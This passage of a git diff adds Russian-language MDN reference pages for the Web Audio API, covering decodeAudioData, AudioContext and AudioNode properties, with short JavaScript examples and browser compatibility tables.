+<dl>
+ <dt>ArrayBuffer</dt>
+ <dd>An ArrayBuffer containing the audio data to be decoded, usually grabbed from an {{domxref("XMLHttpRequest")}}'s <code>response</code> attribute after setting the <code>responseType</code> to <code>arraybuffer</code>.</dd>
+ <dt>DecodeSuccessCallback</dt>
+ <dd>A callback function to be invoked when the decoding successfully finishes. The single argument to this callback is an AudioBuffer representing the decoded PCM audio data. Usually you'll want to put the decoded data into an {{domxref("AudioBufferSourceNode")}}, from which it can be played and manipulated how you want.</dd>
+ <dt>DecodeErrorCallback</dt>
+ <dd>An optional error callback, to be invoked if an error occurs when the audio data is being decoded.</dd>
+</dl>
+
+<h2 id="Returns">Returns</h2>
+
+<p>An {{domxref("AudioBuffer") }} representing the decoded PCM audio data.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based syntax</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(33.0)}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based syntax</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html
new file mode 100644
index 0000000000..e1837c8ec0
--- /dev/null
+++ b/files/ru/web/api/audiocontext/index.html
@@ -0,0 +1,179 @@
+---
+title: AudioContext
+slug: Web/API/AudioContext
+tags:
+  - аудио
+translation_of: Web/API/AudioContext
+---
+<p>{{APIRef()}}</p>
+
+<div>
+<p>Интерфейс AudioContext можно представить как граф, состоящий из связанных между собой узлов {{domxref("AudioNode")}}. С помощью этого интерфейса можно контролировать как создание узлов, из которых состоит AudioContext, так и контролировать обработку и декодирование звука. Необходимо создать AudioContext перед тем как делать что-либо ещё со звуком, так как всё что происходит при обработке звука, происходит внутри AudioContext.</p>
+
+<p>AudioContext может выступать как слушатель событий, и он реализует интерфейс {{domxref("EventTarget")}}.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Содержит число с типом double, которое содержит значение времени в секундах, полученное от часов компьютера клиента. Это значение не может быть изменено никаким образом, оно только для чтения.</dd>
+ <dt>{{domxref("AudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>Содержит ссылку на {{domxref("AudioDestinationNode")}}, представляющий собой точку назначения для всего аудио в этом контексте. Может рассматриваться как, например, аудио-воспроизводящее устройство.</dd>
+ <dt>{{domxref("AudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>Содержит ссылку на объект {{domxref("AudioListener")}}, применяется для ориентирования в 3D-пространстве.</dd>
+ <dt>{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Содержит число с типом float, представляющее собой частоту сэмплирования звука (sample rate), используемую всеми узлами в этом контексте. Это значение только для чтения и не может быть изменено.</dd>
+ <dt>{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}</dt>
+ <dd>Содержит ссылку на аудио-канал, который будет использоваться для воспроизведения звука в {{domxref("AudioContext")}} на устройствах с FireFox OS. Только для чтения.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Также реализованы методы из интерфейса </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext.createBuffer()")}}</dt>
+ <dd>Создаёт новый пустой объект {{ domxref("AudioBuffer") }}, в который затем могут помещаться данные для воспроизведения через {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioContext.createBufferSource()")}}</dt>
+ <dd>Создаёт объект {{domxref("AudioBufferSourceNode")}}, который может быть использован для воспроизведения и обработки данных звукового потока, содержащегося в объекте {{ domxref("AudioBuffer") }} . Объекты типа {{ domxref("AudioBuffer") }} создаются с помощью метода {{domxref("AudioContext.createBuffer")}} или возвращаются методом {{domxref("AudioContext.decodeAudioData")}}, когда декодирование аудио-дорожки успешно завершено.</dd>
+ <dt>{{domxref("AudioContext.createMediaElementSource()")}}</dt>
+ <dd>Создаёт объект {{domxref("MediaElementAudioSourceNode")}}, ассоциированный с {{domxref("HTMLMediaElement")}}. Может использоваться для воспроизведения или манипулирования данными звукового потока из {{HTMLElement("video")}} или {{HTMLElement("audio")}} элементов.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamSource()")}}</dt>
+ <dd>Создаёт объект {{domxref("MediaStreamAudioSourceNode")}}, ассоциированный с {{domxref("MediaStream")}}, и который представляет аудио-поток, поступающий от подключённого к клиентскому компьютеру микрофона или других источников.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamDestination()")}}</dt>
+ <dd>Создаёт объект {{domxref("MediaStreamAudioDestinationNode")}}, ассоциированный с {{domxref("MediaStream")}} и представляющий собой аудио-поток, который можно сохранить в локальный файл или передать на другой компьютер.</dd>
+ <dt>{{domxref("AudioContext.createScriptProcessor()")}}</dt>
+ <dd>Создаёт объект {{domxref("ScriptProcessorNode")}}, который может быть использован для прямой обработки звука с помощью JavaScript.</dd>
+ <dt>{{domxref("AudioContext.createAnalyser()")}}</dt>
+ <dd>Создаёт объект {{domxref("AnalyserNode")}}, который может быть использован для получения времени воспроизведения и частоты воспроизводимого звука, что, в свою очередь может быть использовано для визуализации звукового потока.</dd>
+ <dt>{{domxref("AudioContext.createBiquadFilter()")}}</dt>
+ <dd>Создаёт объект {{domxref("BiquadFilterNode")}}, который представляет собой фильтр второго порядка, конфигурируемый как фильтр верхних частот, как фильтр нижних частот, фильтр полосы пропускания и так далее.</dd>
+ <dt>{{domxref("AudioContext.createChannelMerger()")}}</dt>
+ <dd>Создаёт объект {{domxref("ChannelMergerNode")}}, который используется для слияния каналов из множества аудио-потоков в один аудио-поток.</dd>
+ <dt>{{domxref("AudioContext.createChannelSplitter()")}}</dt>
+ <dd>Создаёт объект {{domxref("ChannelSplitterNode")}}, который используется для доступа к отдельным каналам аудио-потока для их дальнейшей обработки по отдельности.</dd>
+ <dt>{{domxref("AudioContext.createConvolver()")}}</dt>
+ <dd>Создаёт объект {{domxref("ConvolverNode")}}, который может быть использован для применения эффекта свёртки (convolution effect) к аудио-графу. Например, для создания эффекта реверберации.</dd>
+ <dt>{{domxref("AudioContext.createDelay()")}}</dt>
+ <dd>Создаёт объект {{domxref("DelayNode")}}, который может быть использован для задержки входящего аудио-сигнала на определённое время. Этот узел также удобен для создания петель обратной связи (feedback loops) в Web Audio графе.</dd>
+ <dt>{{domxref("AudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>Создаёт объект {{domxref("DynamicsCompressorNode")}}, который может быть использован для акустической компрессии аудио-сигнала.</dd>
+ <dt>{{domxref("AudioContext.decodeAudioData()")}}</dt>
+ <dd>Асинхронно декодирует данные из аудио-файла, находящиеся в {{domxref("ArrayBuffer")}}. В этом случае ArrayBuffer заполняется при ответе на запрос {{domxref("XMLHttpRequest")}}. <code>и установке</code> атрибута <code>responseType</code> в <code>arraybuffer</code>. Этот метод работает только с полными аудио-файлами и не работает с их фрагментами. </dd>
+ <dt>{{domxref("AudioContext.createGain()")}}</dt>
+ <dd>Создаёт объект {{domxref("GainNode")}}, который может быть использован для контроля общей громкости во всём аудио-графе.</dd>
+ <dt>{{domxref("AudioContext.createOscillator()")}}</dt>
+ <dd>Создаёт объект {{domxref("OscillatorNode")}}, источник, представляющий собой периодическую волну звукового сигнала.</dd>
+ <dt>{{domxref("AudioContext.createPanner()")}}</dt>
+ <dd>Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трехмерном пространстве.</dd>
+ <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt>
+ <dd>Создаёт объект {{domxref("PeriodicWave")}}, используемый для определения периодической волны звукового сигнала, которая, в свою очередь, используется для определения вывода в {{ domxref("OscillatorNode") }}.</dd>
+ <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt>
+ <dd>Создаёт объект {{domxref("WaveShaperNode")}}, который может быть использован для создания эффектов нелинейных звуковых искажений.</dd>
+ <dt>{{domxref("AudioContext.createAudioWorker()")}}</dt>
+ <dd>Создаёт объект {{domxref("AudioWorkerNode")}}, который может взаимодействовать с потоком web worker для непосредственных генерации, обработки или анализа аудио данных. Этот метод был добавлен в спецификацию 29 августа 2014 года и не в каждом браузере пока поддерживается.</dd>
+</dl>
+
+<h2 id="Устаревшие_методы">Устаревшие методы</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.createJavaScriptNode()")}}</dt>
+ <dd>Создаёт объект {{domxref("JavaScriptNode")}}, используемый для непосредственной обработки звука в JavaScript. Этот метод устарел и заменён на {{domxref("AudioContext.createScriptProcessor()")}}.</dd>
+ <dt>{{domxref("AudioContext.createWaveTable()")}}</dt>
+ <dd>Создаёт объект {{domxref("WaveTableNode")}}, для определения периодической волны звукового сигнала. Этот метод устарел и заменён на {{domxref("AudioContext.createPeriodicWave()")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Простая декларация аудио-контекста:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext;</pre>
+
+<p>Кросс-браузерный вариант:</p>
+
+<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul style="margin-left: 40px;">
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Применение Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audionode/channelcount/index.html b/files/ru/web/api/audionode/channelcount/index.html
new file mode 100644
index 0000000000..0c6f8a2b8f
--- /dev/null
+++ b/files/ru/web/api/audionode/channelcount/index.html
@@ -0,0 +1,122 @@
+---
+title: AudioNode.channelCount
+slug: Web/API/AudioNode/channelCount
+translation_of: Web/API/AudioNode/channelCount
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p><code>channelCount</code> свойство интерфейса {{ domxref("AudioNode") }} представляющее собой целое число использующееся для определения того, сколько каналов участвуют для <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> соединений для любого входа узла.</p>
+</div>
+
+<p><code>Использование и точное значение channelCount</code>'s зависит от {{domxref("AudioNode.channelCountMode")}}:</p>
+
+<ul>
+ <li>Игнорируется если значение <code>channelCountMode</code> равно <code>max</code>.</li>
+ <li>Используется в качестве максимального значения, если значение <code>channelCountMode</code> равно <code>clamped-max</code>.</li>
+ <li>Используется в качестве точного значения, если значение <code>channelCountMode</code> указано явно.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js;highlight[11]">var oscillator = audioCtx.createOscillator();
+var channels = oscillator.channelCount;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight[11]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.channelCount;
+</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Целое.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioNode-channelCount', 'channelCount')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Использование Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audionode/context/index.html b/files/ru/web/api/audionode/context/index.html
new file mode 100644
index 0000000000..88a5e12bec
--- /dev/null
+++ b/files/ru/web/api/audionode/context/index.html
@@ -0,0 +1,113 @@
+---
+title: AudioNode.context
+slug: Web/API/AudioNode/context
+translation_of: Web/API/AudioNode/context
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Свойство интерфейса {{ domxref("AudioNode") }} возвращающее связанный {{domxref("AudioContext")}}, это объект, представляющий граф, в котором находится данный узел.<strong><em>(только для чтения)</em></strong></p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aContext</em> = <em>anAudioNode</em>.context;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{ domxref("AudioContext") }}.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight[11]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioNode-context', 'context')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Использование Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html
new file mode 100644
index 0000000000..42c5ab4016
--- /dev/null
+++ b/files/ru/web/api/audionode/index.html
@@ -0,0 +1,198 @@
+---
+title: AudioNode
+slug: Web/API/AudioNode
+translation_of: Web/API/AudioNode
+---
+<p>{{ APIRef("Web Audio API") }}<br>
+ <strong>AudioNode </strong>это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приемники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). </p>
+
+<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p>
+
+<p><code>AudioNode</code> имеет входы и выходы, каждый с заданным количеством <em>каналов</em>.<em> </em><code>AudioNode</code> без входов в с одним или несколькими выходами называются <em>источниками</em> (<em>source node)</em>. Результаты обработки передаются от одного AudioNode к другому, при этом каждый узел считывает только свой вход, производит обработку и представляет результат на свой выход, или просто пропускает аудио через себя (например {{domxref("AnalyserNode")}} где результат представляется отдельно).</p>
+
+<p>Разные узлы могут быть связаны в <em>граф обработки</em>. Граф помещается в {{domxref("AudioContext")}}. Один <code>AudioNode</code> может принадлежать только одному {{domxref("AudioContext")}}. В общем, узлы наследуют свойства и методы AudioNode, но они могут также и определять собственный функционал.Смотрите описания конкретных узлов на страницах этих узлов перечисленных на главной странице <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: An <code>AudioNode</code> can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.</p>
+</div>
+
+<h2 id="Свойства" style="">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("AudioNode.context")}} {{readonlyInline}}</dt>
+ <dd>Возвращает связанный {{domxref("AudioContext")}}, это объект, представляющий граф, в котором находится данный узел.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
+ <dd>Возвращает количество входов узла. Узлы определенные как источники имеют <code>numberOfInputs</code> равное 0.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}</dt>
+ <dd>Возвращает количество выходов узла. Узны назначения — такие как {{ domxref("AudioDestinationNode") }} — имеют количество выходов равное 0.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCount")}}</dt>
+ <dd>Это целое число, используемое для определения того, сколько каналов используются для <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> с любыми входами узла. Его использование точнее определяется значением {{domxref("AudioNode.channelCountMode")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCountMode")}}</dt>
+ <dd>Это перечисление описывающее путь согласования каналов между входом и выходом.</dd>
+ <dt>{{domxref("AudioNode.channelInterpretation")}}</dt>
+ <dd>Это перечисление описывающее каналы.Эта интерпретация описывает как будет происходить <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a>.<br>
+ ВОзможные значения <code>"speakers"</code> or <code>"discrete"</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Так же реализует методы из интерфейса </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("AudioNode.connect(AudioNode)")}}</dt>
+ <dd>Позволяет нам подключить один выход данного узла на один вход другого узла.</dd>
+ <dt>{{domxref("AudioNode.connect(AudioParam)")}}</dt>
+ <dd>Позволяет нам подключить один выход данного узла на параметрический вход другого.</dd>
+ <dt>{{domxref("AudioNode.disconnect()")}}</dt>
+ <dd>Позволяет нам отключить текущий узел от другого, уже подключенного узла.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот простой фрагмент кода показывает создание некоторых аудио узлов, и как можно использовать свойства и методы AudioNode. Вы можете найти примеры такого использования на любом из примеров, на странице <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>  (например <a href="https://github.com/mdn/violent-theremin">Violent Theremin</a>.)<span class="p"> </span></p>
+
+<pre class="brush: js;highlight[8,9,11,12,13,14]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>channelCount</code> <code>channelCountMode</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>connect</code><code>(AudioParam)</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>channelCount</code><br>
+    <code>channelCountMode</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>connect</code><code>(AudioParam)</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
